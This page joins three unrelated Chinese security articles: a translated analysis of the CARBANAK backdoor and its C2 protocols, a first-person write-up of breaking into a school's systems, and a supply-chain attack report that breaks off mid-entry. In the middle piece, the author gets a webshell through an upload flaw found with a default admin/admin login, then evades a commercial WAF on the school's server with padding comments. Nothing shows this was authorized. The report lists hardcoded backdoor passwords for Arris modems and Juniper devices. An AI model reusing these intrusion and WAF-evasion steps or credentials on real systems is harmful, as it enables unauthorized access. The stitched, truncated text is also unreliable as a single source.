> 严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
译者：[ForrestX386](http://bobao.360.cn/member/contribute?uid=2839753620)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00. 前言
**
在这边文章中，我们将和读者一起近距离地剖析著名的、强大的、多才多艺的后门 软件：CARBANAK
（又名Anunak）。具体来说，我们将着重介绍过去几年中关于CARBANAK 后门的一些使用细节，包括后门的配置，不同样本间的细小变化，以及后门的演变史。
通过对这些细节的分析，我们将对CARBANAK后门的幕后操纵者进行一些总结。有关CARBANAK后门的更多的详情信息，请参阅[卡巴斯基](https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf\))、[Group-IB与Fox-It公司](https://www.fox-it.com/en/files/2014/12/Anunak_APT-against-financial-institutions2.pdf)的相关报告。
**0x01. 技术分析**
在正式切入本篇文章的主题之前，我们有必要对这个后门进行一个简要的技术分析，以便我们对这个后门的前前后后有个大致的了解。CARBANAK后门基于插件化的架构进行开发，功能完备且具备数据窃取能力，其中的一些功能模块包括：键盘记录，桌面录屏，VNC连接，HTTP
表单抓取，文件系统管理，文件传输，TCP 隧道，HTTP
代理，操作系统破坏，SHELL反弹，POS和Outlook数据窃取等。大部分的数据窃取模块自最早的CARBANAK 后门版本开始便已具备，
当然，随着后门变种的演变，后续的变种后门也增加了一些其他的数据窃取模块。
1）后门的监控进程
CARBANAK后门会启动（可通过后门配置文件可选地启动监控进程）一到多个监控进程进行持续的监控，不同的监控进程有着不同的目的。具体如下表所示：
表1
2）后门指令
除了后门自带的文件系统管理功能，后门的数据窃取模块支持多达34种指令，这些指令通过命令控制服务器下发给后门。经过解密之后，我们找到了34种指令相关的所有明文内容，这些指令都会跟着相应的参数，这些参数以空格隔开，看起来就像我们平时用的命令行命令。这些指令和参数的名字都会被计算成hash值，然后后门会去校验这些hash是否和预期一致，只有和预期一致才会执行，这就给我们恢复指令和参数明文内容的工作带来了很大的困难。
表2
3）后门配置
后门的配置文件位于后门的安装目录，以.bin为后缀，配置文件中包含了若干指令，这些指令拥有和表2中所示指令一样的格式，当后门启动的时候，这些配置文件中的指令都会被自动执行。当然，当后门接收到loadconfig指令的时候，也会自动执行这些位于配置文件中的指令。你可以把后门的配置文件当作是后门的启动脚本。配置文件中包含一个名为state的指令（当然是以16进制hash值表示的），这个指令会设置一个包含了一串布尔值（用ASCII码中的0
或1’表示）的全局变量。这一串布尔值中某些值表示后门和命令控制服务器之间的通信协议，有的值表示后门是否已经安装，
有的值表示PST监控进程是否已启动。不仅仅是state
指令，其他的所有指令都是以16进制hash值而不是明文名字被保存在配置文件中的，某些指令在执行时会自动将自己添加到配置文件中，以便它们在后门重启后自动生效（有的指令不需要重启后门）。loadconfig指令和state
指令在后门初始化期间就被执行，如果发现后门配置文件不存在，则重新创建一个，并将state指令写入配置文件中。
图1和图2 描绘了一些我们在调查中遇到的解码后的配置文件内容。
图1：增加一个新的命令服务器地址，强制数据窃取模块使用这个新的地址和命令服务器通信
图2：新增3个TCP隧道，指示后门进行桌面录屏
4）指令与控制
CARBANAK 后门和命令服务器之间的通信协议要么是伪HTTP协议，要么是自定义二进制协议
**关于伪HTTP协议**
伪HTTP协议中的消息字段被 ‘|’ 字符分割开来，消息主体从主机ID开始，该主机ID由两段组成，其中一段是一串hash，这个hash
由主机名和主机MAC值计算而来，另一段是一个可能是标识活动代码的字符串，
一旦消息被格式化完成，然后就会有额外的个字段（这两个字段值由随机的大小写字符组成）包裹住这个消息内容。
图3和图4向您描绘了命令控制服务器轮询后门，获取进程列表信息的消息：
图3：命令控制服务器轮询后门，获取进程信息的消息
图4：后门响应后门消息
传输中的消息都会先经过RC2_CBC_PKCS5Padding （微软实现版）加密处理，然后再进行Base64编码，
Base64编码的目的是将RC2_CBC_PKCS5Padding 加密结果中的’/’ 和 ‘+’ 分别替换成’.’ 和 ‘-‘.
，然后由随机的大小写字母组成的8位初始化向量值会增加到经过加密和编码后的消息前面。
然后后门会向载荷内的随机位置插入随机数量的’/’字符，这样会使得命令载荷看起来像一个URI，再然后后门会在载荷末尾增加一个携带参数的脚本后缀或一个不携带参数的文件名，如果是脚本后缀(比如php,bml,cgi等)这个脚本后缀会携带若干数量的名称和值都随机的参数值对；如果是一个文件名，这个文件的后缀名一般是gif,
jpg, png, htm, html, php。
最后，这个看起来像URI的命令载荷会通过HTTP 的GET 或者POST
请求发送出去。如果是POST请求，那么POST请求body中可能会包含cabinet 格式的文件，图5是一个简单的通过HTTP GET
请求发送命令请求的例子。
图5
这个伪HTTP 协议会使用HTTP 代理监控进程发现的的任何代理配置 或者由adminka 指令配置的代理信息。
后门也会在注册表(HKCUSoftwareMicrosoftWindowsCurrentVersionInternet Settings )和Mozilla
Firefox 配置文件(%AppData%MozillaFirefox<ProfileName>prefs.js)中搜索可用的代理配置信息.
**自定义二进制协议**
图6描绘了后门所使用的自定义二进制协议中的消息格式。 如果指令消息大于150字节， 它就会被一个目前还无法识别的的压缩算法压缩。
如果指令消息大于4096字节，它就会被分割成多个压缩块。后门所使用的这款自定义二进制协议这些年也发生了一些变化， 新的版本都会在旧的版本上做一些小调整，
二进制协议中的这些变化可能会使得现有网络签名无效，使得签名创建更加复杂和困难。
图6：二进制协议中的消息格式
**版本1**
在二进制协议的最早版本中，消息body内容会与主机ID进行异或运算，然后将结果保存在<chunkData>字段中，而且，初始化的消息是没有被加密的，这个初始化消息中就包含了主机ID。
**版本2**
这个版本不再使用主机ID作为异或key值， 这个版本会在每一个session中重新生成一个大小在32 到
64之间字节的随机key值，这个key值用于和消息body进行异或运算。
**版本3**
版本3给消息头进行了加密，
消息头的前19个字节（从消息内容开始位置直到<hdrXORKey2>字段为止）会与5个字节的随机key值进行异或运算然后被存储在<hdrXORKey2>字段中,
这5个字节的随机key值在每一个消息中都是不一样的。如果消息头中<flag>字段数大于1，用于加密消息体的异或key在加密和解密消息时反向进行迭代。
**版本4**
这个版本中，消息头的加密模式增加了一点小复杂度，首先会使用<hdrXORKey1>字段存储的异或key与消息头内容进行异或运算，然后再使用<hdrXORKey2>字段存储的异或key进行异或运算，最后将两次异运算的结果组合在一起并反转得到最终加密结果。
**版本5**
版本5算是我们遇到过的最复杂的二进制协议了，这个版本的协议中会用到256位的AES
会话密钥去分别加密消息头和消息body。在后门初始化的时候，这个256位的会话密钥会和整个的消息体一起用RSA交换加密算法加密，然后发给命令控制服务器。
后续的所有的消息都会被AES（CBC模式）加密，没有命令控制服务器的私钥，我们是无法获取用于加解密消息的会话密钥。
**0x02. 综述**
我们已经收集了220个CARBANAK
后门的样本，并编制了一张表，在这张表格中，我们突出显示了一些我们可以提取的有趣的细节。应该注意的是，在大多数情况下，后门被嵌入到另一个可执行文件或某种武器化的文档文件中。
表格中的MD5值是那些最终执行了CARBANAK后门的二进制文件最开始的计算值，但是有关CARBANAK后门的详细信息是我们在这些二进制文件运行期间从内存中提取出来的，这些提取的数据给我们提供了一些独特的视角，能够帮助我们去理解CARBANAK
运营方面的东东。这些提取的后门数据可以在这里被[下载](https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/carbanak-report.xlsx)
**不断进化的二进制协议**
正如前文所述，CARBANAK后门的二进制协议这些年发生了一些重大的变化。基于我们搜集样本的编译时间数据，我们粗略地描绘了一下CARBANAK后门所用的二进制协议这些年的时间演进表（如图7所示）
图7：二进制协议的演进时间表
也许这张时间演进表并不准确，因为我们的视角也并不完整，但是它能够提供给我们一个大致概念，让我知道什么时间点开始，后门的二进制协议发生了变化。
通过我们的观察，我们发现一些带有数据窃取模块的后门构建版本中使用了过时的二进制协议，这可能表明,有多个独立构建的数据窃取后门在同时活动。
*注：* 很可能我们缺少早期构建的版本3样本
**后门构建工具**
为了使分析变得更加困难，
大部分CARBANAK后门中的字符串都被加密了，据我们的观察，在我们遇到的所有样本中，用于加密后门二进制文件中字符串的加密密钥和加密套件都是不同的，
HTTP 伪协议中用到的RC2
密钥在不同的样本中也是不一样的，虽然一些样本的编译时间都是一样的。通过这些观察结果，再对比后门样本中必须配置的活动代码信息，我们推测，很有可能存在一个后门构建工具。
**快速迭代的后门**
尽管存在一个后门构建工具的可能，我们发现在我们的后门样本集合中有57个不同的编译时间，其中一些样本的编译时间相当接近。举个栗子，2014年5月20号，有两个编译时间相差4个小时的后门版本被构建，这两个版本都配置了相同的命令服务器地址。无独有偶，2015年7月30号，
也有两个编译时间相差12小时的版本被构建。
如此短的时间内，有哪些代码的修改是我们可以观察到的，而这些变化在构建工具中是无法呈现的？有一种可能，比如，有两个编译时间相近的后门，其中一个执行了runmen指令。从命令控制服务器下载了一个可执行文件wi.exe,
然后直接将这个可执行文件注入到进程中，而另外一个没有。还有一种可能，其中一个后门版本去检查IE浏览器的可信站点列表中是否存在blizko.net
这个站点，但是另外一个后门版本没有这么做。Blizko 是一个在线的内存传输服务。 我们已经发现， 在不同的后门中，启用的监控进程数也是不同的。
这些监控进程的变化也表明，为了适应特定的目标或者操作，后门的代码可以被快速的修改和编译。
**活动代码和编译时间的关联**
在某些情况下，我们发现CARBANAK 后门的的编译时间和后门的活动代码中的月份很相近，图8中展示了我们所观察到的，这两者之间的一些关联。
图8
**CARBANAK 后门近期更新**
最近，我们发现了一些64位版本的CARBANAK后门变种，我们已经在最近的[博客](https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html)中分享了有关这个变种的详细细节。某些后门变种默认一直处于潜伏状态，只有在指定的配置日期才会激活。
**历史回顾**
**Carbanak 集团**
大量公开的关于CARBANAK 恶意软件的报告所指向的就是Carbanak 集团，一群很可能是从事数据窃取等恶意代码活动的幕后黑手。 FireEye
公司已经追踪了若干个使用了CARBANAK后门 和其他关联后门工具的恶意活动，比如DRIFTPIN （又名Toshliph）。
仅靠目前掌握的数据来看，我们还无法确定这些恶意活动之间的关联， 是否他们都是出自于同一个犯罪集团之手，
或者这些恶意活动通过一些松散的附属原因共享了这些恶意软件与技术。
**FIN7组织**
迄今为止，Mandiant
公司所有的和CARBANAK后门有关的调查信息显示，这些恶意活动的都归功于FIN7威胁小组，FIN7组织自2015年中期以来一直非常积极地反对美国餐厅和酒店业。
FIN7组织将CARBANAK工具作为后期渗透工具，CARBANAK可以帮助他们立足于受害者网络，维持对受害者网络的访问，FIN7组织通过频繁地使用video指令去监控用户行为，并了解受害者的网络环境，通过使用tunnel指令建立隐秘的代理通道，使其隔离与受害者的网络环境。FIN7组织一直使用合法购买的代码签名证书来签署他们所用CARBANAK后门的有效载荷。
最后需要说明的是，FIN7组织所用的CARBANAK后门采用了一些新的技术，这些技术我们并未在其他涉及CARBANAK后门的恶意活动中有所发现。
我们已经在以前的公开博客文章中介绍了FIN7组织近期的相关活动：
[FIN7发起的针对SEC档案的人员的钓鱼诈骗活动](https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html)
[FIN7组织的演进历史和钓鱼相关的链接](https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html)
[FIN7组织利用Shim数据库漏洞进行持久化攻击](https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html)
FireEye iSIGHT 威胁情报服务门户MySIGHT网站中包含了有关我们对FIN7组织所从事的恶意活动的其他一些调查信息。
针对位于美国、亚洲和中东的银行的广泛攻击活动
Proofpoint公司最先报道了2016年初针对美国和中东地区银行与金融机构的广泛攻击活动。我们锁定了这个地区其他几个与此次攻击活动有关的组织，此外，东南亚和亚洲西南部的银行与金融机构也被同一个攻击者攻击过。
这一系列攻击活动从2014年年底开始持续到2016年初，最特别的一点是，这次攻击活动中所使用到基础设施也被其他恶意软件使用过，比如LAZIOK，NETWIRE等
**DRIFTPIN 后门**
DRIFTPIN（又名Spy.Agent.ORM和Toshliph），它的身影早在以前和CARBANAK后门有关的攻击活动中就多次出现过，我们发现早在2016年上半年的一次钓鱼诈骗攻击活动中，FIN7组织就曾经使用过它。此外，在2015年年底，ESET报告了与CARBANAK后门相关的攻击事件，详细介绍了针对俄罗斯和东欧银行的钓鱼诈骗活动，这些攻击事件中就曾使用DRIFTPIN
后门作为恶意代码载荷。Cyphort实验室还透露DRIFTPIN
后门的变种已经在一系列的攻击活动中被发现，我们在两个被攻击过的乌克兰银行网站山发现，DRIFTPIN 后门的变种通是通过RIG
漏洞攻击套件被植入到受害者系统上的。
来自FireEye
iSIGHT威胁情报分析服务的结果显示，这一大波的钓鱼诈骗活动的目标包括美国金融机构和与比特币交易与采矿活动相关的公司。到现在为止，这一波钓鱼诈骗活动仍在进行，有关这次攻击活动的最新消息，请参考FireEye
iSIGHT威胁情报服务MySIGHT的门户网站。
早期的CARBANAK 攻击活动
2014年12月，Group-IB和Fox-IT公司发布了一份关于一个有组织犯罪集团的报告，该犯罪组织使用了一个名为”Anunak”的恶意软件，对东欧、美国和欧洲的银行的POS系统进行攻击，卡巴斯基于2015年2月发布了一份名为“Carbanak”的类似报告。”Carbanak”的名字首次被卡巴斯基提出来，而恶意软件作者将此后门称为Anunak。
这次攻击活动与2014年针对乌克兰银行ATM 系统的攻击活动有关， 早期的这种攻击活动和当下FIN7组织的某些行为比较类似。
**0x03. 总结
**
从CARBANAK 后门样本中提取的详细信息为我们提供了一个独特的洞察视角，通过这个视角，我们可以发现用于窃取数据的恶意软件背后的一些操作细节，
通过上面的分析和讨论，我们可以得出以下几个结论:
通过我们所分析得到的信息，我们相信
1）至少有一些CARBANAK 后门的操控者要么可以直接访问和修改后门源码，要么就和CARBANAK 后门的开发者有着密切的联系。一些CARBANAK
后门的操控者甚至可以独自编译相应的后门版本。
2）这些攻击者可能正在使用一种构建工具，这种构建工具允许后门的操控者配置后门，比如配置命令控制服务器的地址，
命令控制服务器的加密密钥和活动代码，这种构建工具会在每一次进行后门版本构建的时候都会使用新的加密密钥去加密后门二进制文件中的字符串。
3）不同的活动代码暗示， 独立或者松散附属的犯罪分子正在使用CARBANAK
后门对各行各业，尤其是对全球金融机构以及美国境内的餐饮和酒店业，进行广泛的入侵攻击。 | 社区文章 |
**从1月份入坑到现在，已经5个月了。这五个月来一直在刷edusrc，并且在本月初成功达到了总榜第五名。很多人问我如何快速批量刷站？那么，他来了。本次分享一次对自己学校的一次安全检测实战文章。帮助萌新理清思路，同时，欢迎各位大佬指点不足。**
# **0x01**
先看学校的域名ip地址
注意:这里我建议不要看主域名的，看二级域名的ip地址。因为一些地区的职业院校都是集中统一在一台服务器上的，只有一些二级域名才会搭建在学校的机房里面
如我们学校的二级域名:
creat. ******.com 上面搭建的系统是智慧校园系统。IP归属地与学校地理位置符合。
那么开始找C段。
fofa关键词: 1 _2.230._.1/24
在1 _2.230._.194:8000下面找到一个系统。功能不详。
因为只有一个登录
类似系统有很多，比如OA等。这些系统开始都是一些登录，且是一个闭源程序，一没办法本地测试，二是不能代码审计。
我个人比较常用的方法:
查看HTML源代码-》提取特有文件名/路径等-》FOFA寻找相同网站-》猜测弱口令-》挖掘0day-》Getshell
因为程序本身就是闭源，开始的一个登录就让大部分人束手无策。无法探测到里面的内容
所以，遇到此类程序的第一种快捷方法： 找相同程序的弱口令
在首页HTML源代码中，发现一处AJAX请求地址，
/Service/C *******.asmx/Get *****
那么我们就可以直接搜索这个文件名，就能获取到一些相同程序的站点
同样，搜索到的站点也是只有一个登录页面。那么我们可以挨个测一下弱口令
最终。发现一个类似于开发厂商的测试站点。 admin /admin 成功登录进去
看到相应功能，就知道，这是啥了。。我们学校的大屏幕就是这玩意管理的
那么，废话不多说，开始测试功能
简单粗暴的来到个人中心(因为这里一般都会有更换头像的地方)
先试着穿一个jpg文件。
成功上传并返回一个地址:
然后更改文件名为:test.aspx
出现error，根据个人经验，出现这类问题，我一般喜欢在传一个ss.jpg。与成功上传的test.jpg同类型不同名
来判断是否为白名单。
发现ss.jpg也会出现error
那么，这里可以得出结论，之前的手法与白名单无关。
看了对应的参数:fileToUpload (上传的文件) directory（文件存储路径) ticket不详
当我将返回包更改为初始成功上传的状态的时候，更改了Ticket的内容。发现出现error
那么可以肯定，能否成功跟这个Ticket有关系。
将所有窗口关闭，一步一步对比。发现Ticket生成的请求包
多次测试。发现。生成Ticket的文件名必须要跟上传文件名相同才能成功上传。
那么生成一个test.ashx(个人喜欢) 得到的Ticket替换之前的
成功拿到shell。
那么这就是一个0day。有了这个系统的0day。我就可以拿去打自己学校的系统了
# **0x02**
将HOST地址改成自己学校的地址，发送数据包，发现直接rest了。。。。不用想，肯定是有狗。
asp，aspx，ashx，asmx，cshtml(不解析) 多个测试。发现都是直接rest
进行信息收集，知道了是奇安信WAF
。。。类型检测+内容检测。。。
玩nm！！！！！！！！！！！！！！
于是求助RG大哥的帮助，知道了NET平台下还有一个扩展名是SVC
github地址:<https://github.com/ysrc/webshell-sample/blob/master/others/svcSmallSpy.svc>
成功上传。。
但是访问地址出现了 500错误，也就是。。并没有被执行。。。
想到了之前自己发过的文章。。
用垃圾字符来绕。。。
Blog: www.websecuritys.cn/?p=274
经过测试发现。当内容字符逐渐变大，得到返回相应的时间也就越长。那么可以确定。后端在进行匹配。
Bypass原理。够多的垃圾字符可以消耗WAF的内存，导致Bypass
由于之前测试的结果。Ticket的文件名要跟上传的文件名相同
那么，先生成一个Ticket
这里用垃圾字符
我用了20w
内容{ ** ** *********.ashx}
得到文件的Ticket
那么，在上传的fileToUpload 的文件名，也要与Ticket的文件名相同，复制过来
同时，因为WAF自带内容检测。那么。将shell代码放在垃圾字符的末尾。
**这里必须要注意:**
由于垃圾字符太大。必须要用注释符号注释掉
<%-- dsadas垃圾字符
--%>
shell代码
成功Bypass。
拿到webshell | 社区文章 |
# 【安全报告】360威胁情报中心：软件供应链来源攻击分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**综述**
****
2017年8月，非常流行的远程终端管理软件 Xshell
被发现植入了后门代码，导致大量使用此款工具的用户泄露主机相关的敏感信息。同时，近期大量的使用软件捆绑进行传播的黑产活动也被揭露出来，从影响面来看这些恶意活动的力度颇为惊人，这类来源于供应链并最终造成巨大危害的安全事件其实并不少见，而我们所感知的可能只是冰山一角而已。
以最近这些事件为切入点，360威胁情报中心对软件供应链来源的攻击做了大量的案例分析，得到了一些结论并提供对策建议。在本报告中，360威胁情报中心首先对软件供应链的概念进行了梳理，划分了开发、交付及使用环节。然后针对每个环节，以实例列举的方式分析了相应环节中目前已经看到过的攻击向量，同时提供了每个事件的发生时间、描述、直接威胁和影响范围等信息。在这些案例分析的基础上，整合信息做可视化展示并提出一些结论。最后，基于之前章节的事实分析，360威胁情报中心提出了从供应链安全角度对相应威胁进行防护的对策和建议。
**软件供应链相关概念**
****
**概念和环节划分**
传统的供应链概念是指商品到达消费者手中之前各相关者的连接或业务的衔接，从采购原材料开始，制成中间产品以及最终产品，最后由销售网络把产品送到消费者手中的一个整体的供应链结构。
传统商品的供应链概念也完全适用于计算机软硬件，则可以衍生出软件供应链这一概念。出于简化分析的目的，我们将软件供应链简单抽象成如下几个环节：
**1\. 开发环节**
软件开发涉及到的软硬件开发环境、开发工具、第三方库、软件开发实施等等，并且软件开发实施的具体过程还包括需求分析、设计、实现和测试等，软件产品在这一环节中形成最终用户可用的形态。
**2\. 交付环节**
用户通过在线商店、免费网络下载、购买软件安装光盘等存储介质、资源共享等方式获取到所需软件产品的过程。
**3\. 使用环节**
用户使用软件产品的整个生命周期，包括软件升级、维护等过程。
**灰色供应链**
在国内，众多的未授权的第三方下载站点、云服务、共享资源、破解盗版软件等共同组成了灰色软件供应链，这些环节的安全性问题其实也属于软件供应链攻击的范畴，但由于这些问题属于长期困扰我国信息系统安全的灰色供应链问题，具有一定的中国特色，故单独进行说明。
我们在接下来的事件分析中会有很多涉及到灰色供应链的案例，特别是软件交付环节中的“捆绑下载”等案例，以及各类破解、汉化软件被植入木马后门等，而这些案例也会被归属到我们定义的软件供应链攻击范畴中。
**攻击场景与案例分析**
****
前面定义了软件供应链的概念并抽象出了软件供应链的几大环节，那么显而易见的是，攻击者如果针对上述各个环节进行攻击，那么都有可能影响到最终的软件产品和整个使用场景的安全。从我们分析的多个现实攻击的案例来看，第三方库、开发工具、开发软硬件环境、到达用户的渠道、使用软硬件产品的过程等供应链相关的安全风险，并不低于针对软件应用本身、相应操作系统的安全漏洞导致的安全风险。
近年来我们观察到了大量基于软硬件供应链的攻击案例，比如针对Xshell源代码污染的攻击机理是攻击者直接修改了产品源代码并植入特洛伊木马；针对苹果公司的集成开发工具Xcode的攻击，则是通过影响编译环境间接攻击了产出的软件产品。这些攻击案例最终影响了数十万甚至上亿的软件产品用户，并可以造成比如盗取用户隐私、植入木马、盗取数字资产等危害。接下来我们将从划分出来各环节的角度，举例分析这些针对供应链攻击的重大安全事件。
**开发环节**
软件开发涉及到软硬件开发环境部署、开发工具、第三方库等的采购/原料供应、软件开发测试等等，各环节都可能被恶意攻击，在针对软件开发环境的攻击中就有开发机器被感染病毒木马、开发工具植入恶意代码、第三方库被污染等攻击方式。
而具体的软件开发更是一个复杂的过程，不单单是源码的编写，还涉及到诸如需求分析、开源/商业库使用、算法、外包开发等等复杂环节，其中的各个环节都有可能被攻击并造成严重后果。最近的Xshell后门代码植入事件就是最切实的例子，更早的事件还包括NSA联合RSA在加密算法中植入后门等，下面是我们整理的在开发环节针对开发环境以及软件开发过程进行工具污染、源代码攻击以及厂商预留后门等真实案例。
**开发工具污染**
针对开发工具进行攻击，影响最为广泛的莫过于XcodeGhost（Xcode非官方版本恶意代码污染事件），值得一提的是早在30多年前的1984年，UNIX创造者之一Ken
Thompson在其ACM图灵奖的获奖演讲中发表了叫做Reflections on Trusting
Trust（反思对信任的信任）的演讲。他分三步描述了如何构造一个非常难以被发现的编译器后门，后来被称为 the Ken Thompson
Hack（KTH），这或许是已知最早的针对软件开发工具的攻击设想。而最近的XcodeGhost最多只能算是KTH的一个简化版本，没有试图隐藏自己，修改的不是编译器本身，而是Xcode附带的框架库。
**Xcode非官方版本恶意代码污染事件**
**事件名称** Xcode非官方版本恶意代码污染
**披露时间** 2015年9月
**事件描述** Xcode 是由苹果公司发布的运行在操作系统Mac OS X上的集成开发工具（IDE），是开发OS X 和 iOS 应用程序的最主流工具。
2015年9月14日起，一例Xcode非官方版本恶意代码污染事件逐步被关注，并成为社会热点事件。多数分析者将这一事件称为“XcodeGhost”。
攻击者通过向非官方版本的Xcode注入病毒Xcode Ghost，它的初始传播途径主要是通过非官方下载的 Xcode 传播，通过 CoreService
库文件进行感染。当应用开发者使用带毒的Xcode工作时，编译出的App都将被注入病毒代码，从而产生众多携带病毒的APP。
**直接威胁** 用户信息搜集，弹窗钓鱼，远程控制
**影响范围** 至少692种APP受污染，过亿用户受影响，受影响的包括了微信、滴滴、网易云音乐等著名应用。
**参考链接**
<http://bobao.360.cn/learning/detail/670.html>
<http://www.antiy.com/response/xcodeghost.html>
**源代码污染**
软件产品如果在源代码级别被攻击者植入恶意代码将非常难以被发现，并且这些恶意代码在披上正规软件厂商的合法外衣后更能轻易躲过安全软件产品的检测，或许会长时间潜伏于用户机器中不被察觉，最近曝光的远程终端管理工具Xshell被植入后门代码则属于这类攻击中的经典案例。
**Xshell backdoor**
**事件名称** 远程终端管理工具Xshell被植入后门代码
**披露时间** 2017年8月14日
**事件描述**
Xshell是NetSarang公司开发的安全终端模拟软件，2017年7月18日发布的软件被发现有恶意后门代码，该恶意的后门代码存在于有合法签名的nssock2.dll模块中。
**事件时间线:**
**2017年8月7日**
流行远程管理工具Xshell系列软件的厂商NetSarang发布了一个更新通告，声称在卡巴斯基的配合下发现并解决了一个在7月18日的发布版本的安全问题，提醒用户升级软件，其中没有提及任何技术细节和问题的实质，而且声称没有发现漏洞被利用。
**2017年8月14日**
360威胁情报中心分析了Xshell Build
1322版本（此版本在国内被大量分发使用），发现并确认其中的nssock2.dll组件存在后门代码，恶意代码会收集主机信息往DGA的域名发送并存在其他更多的恶意功能代码。360威胁情报中心发布了初始的分析报告，并对后续更复杂的恶意代码做进一步的挖掘分析，之后其他安全厂商也陆续确认了类似的发现。
**2017年8月15日**
卡巴斯基发布了相关的事件说明及技术分析，与360威胁情报中心的分析完全一致，事件可以比较明确地认为是基于源码层次的恶意代码植入。非正常的网络行为导致相关的恶意代码被卡巴斯基发现并报告软件厂商，在8月7日NetSarang发布报告时事实上已经出现了恶意代码在用户处启动执行的情况。同日NetSarang更新了8月7日的公告，加入了卡巴斯基的事件分析链接，标记删除了没有发现问题被利用的说法。
从后门代码的分析来看，黑客极有可能入侵了相关开发人员的电脑，在源码植入后门，导致官方版本也受到影响。并且由于dll文件已有官方签名，众多杀毒软件依据白名单机制没有报毒。该后门代码可导致用户远程登录的信息泄露。
**直接威胁** 用户计算机中插入后门，窃取用户远程登录信息
**影响范围** 针对开发、运维人员，目前初步估计十万级别用户受影响
**参考链接**
<http://bobao.360.cn/learning/detail/4278.html>
<https://securelist.com/shadowpad-in-corporate-networks/81432/>
**厂商预留后门**
软件厂商在开发过程中出于方便测试或后续技术支持的考虑可能会预留一些超级管理员账户在软件产品中，而当软件正式发布时忘记删除或故意留下这些
“后门”，导致产品发布后被攻击者利用造成巨大危害，多个厂商的家庭路由设备都曝光过此类安全事件。
而某些厂商处于国家安全的需要，可能也会为国家安全部门预留一些“接口”，方便获取用户敏感数据，比如曝光的“棱镜门”。
**Arris为AT &T家庭用户定制版调制解调器内置后门事件**
**事件名称** Arris为AT&T家庭用户定制版调制解调器内置后门事件
**披露时间** 2017年8月
**事件描述**
2017年8月，安全研究人员发现知名电信设备制造商Arris生产的调制解调器存在5个安全漏洞，其中有3个是硬编码后门账号漏洞。攻击者利用三个后门账号均可控制设备，提升至ROOT权限、安装新固件，乃至于架设僵尸网络等。
以下为Nomotion发现漏洞的大致细节：
**后门#1**
调制解调器默认启用SSH并允许互联网连接，攻击者使用内置的默认账号密码“remotessh/5SaP9I26”访问，可以直接获得ROOT权限，执行任意操作。
**后门#2**
Arris调制解调器有个内置Web服务器，攻击者通过49955端口使用“tech/空”账号密码即可访问后台管理面板。
**命令注入**
该Web服务器还容易受到命令注入漏洞攻击，攻击者可以在Web服务器环境拿到Shell权限。
**后门#3**
攻击者可以使用账号密码“bdctest/bdctest”账号密码在61001端口访问设备，前提是需要知道设备的序列号。
**防火墙绕过**
攻击者在49152端口发送特定的HTTP请求，可绕过调试解调器内置防火墙并打开TCP代理连接，并继续利用之前的四个漏洞。
有问题的调制解调器型号为Arris NVG589、Arris
NVG599，主要在美国宽带运营商AT&T的网络里使用，但在Arris官网找不到信息（停产产品？）。Nomotion研究人员推测，它们可能是专为AT&T家庭用户定制的入网设备。
**直接威胁** 可被攻击者直接登录获得root权限
**影响范围** 研究人员认为目前在线的易受漏洞攻击调制解调器至少有22万台
**参考链接**<http://mp.weixin.qq.com/s/QmNd9J84q7ZuWyrihUZBTg>
**惠普笔记本音频驱动内置键盘记录后门事件**
**事件名称** 惠普笔记本音频驱动内置键盘记录后门事件
**披露时间** 2017年5月
**事件描述** 2017年5月，来自瑞士安全公司Modzero的研究人员在检查Windows Active
Domain的基础设施时发现惠普音频驱动中存在一个内置键盘记录器监控用户的所有按键输入。
按键记录器会通过监控用户所按下的键来记录所有的按键。恶意软件和木马通常会使用这种功能来窃取用户账户信息、信用卡号、密码等私人信息。惠普计算机带有集成电路厂商Conexant开发的音频芯片，该厂商还会为音频芯片开发驱动即Conexant高清音频驱动，有助于软件跟硬件通信。根据计算机机型的不同，惠普还将一些代码嵌入由Conexant开发的音频驱动中从而控制特殊键如键盘上的Media键。
研究人员指出，惠普的缺陷代码（CVE-2017-8360）实现不良，它不但会抓取特殊键，而且还会记录每次按键并将其存储在人类可读取的文件中。这个记录文件位于公用文件夹
**C:UsersPublicMicTray.log**
中，包含很多敏感信息如用户登录数据和密码，其它用户或第三方应用程序都可访问。因此安装到计算机上的恶意软件甚至是能物理接近计算机的人都能够复制日志文件并访问所有的用户按键、提取敏感数据如银行详情、密码、聊天日志和源代码。
2015年，这个按键记录功能以新的诊断功能身份在惠普音频驱动版本1.0.0.46中推出，并自此有近30款惠普计算机都内置有这种功能。
受影响的机型包括HP Elitebook 800系列、EliteBook Folio G1、HP ProBook 600和400系列等等。
**直接威胁** 获取用户键盘输入记录
**影响范围** HP Elitebook 800系列、EliteBook Folio G1、HP ProBook
600和400系列等数十款产品，很可能其它使用了Conexant硬件和驱动器的硬件厂商也受影响，实际受影响用户数未知（参考数据：惠普2016年笔记本市场份额20%，销量超千万）
**参考链接**
<http://bobao.360.cn/news/detail/4159.html>
<http://bobao.360.cn/learning/detail/3847.html>
**家用路由器后门事件**
**事件名称** 家用路由器后门事件
**披露时间** 近年
**事件描述**
各类家用路由器厂商在开发过程中忘记删除测试版本中的调试后门，也有部分厂商为了方便售后管理也会在路由器中预留各类超级后门。由于这类安全事件频繁发生，故我们将其统一归为一类，参考链接中列举了多起此类安全事件。
**直接威胁** 调试后门或者预留后门可被攻击者直接登录获得root权限
**影响范围** 各类家用路由器
**参考链接**
<http://bobao.360.cn/news/detail/1260.html>
<http://0day5.com/archives/241/>
**Juniper VPN后门事件**
**事件名称** Juniper VPN后门事件
**披露时间** 2015年12月
**事件描述**
2015年12月15日著名的网络设备厂商Juniper公司发出风险声明，其防火墙、VPN设备使用的操作系统具有重大安全风险，建议尽快升级相关版本。
声明中提及两个重大风险：1）设备的SSH登录系统在输入任意用户名的情况下，使用超级密码“<<< %s(un='%s') =
%u”后就可以最高权限登录系统。2）设备的VPN安全通道上传递的数据可以被攻击人解密、篡改和注入。
**直接威胁**
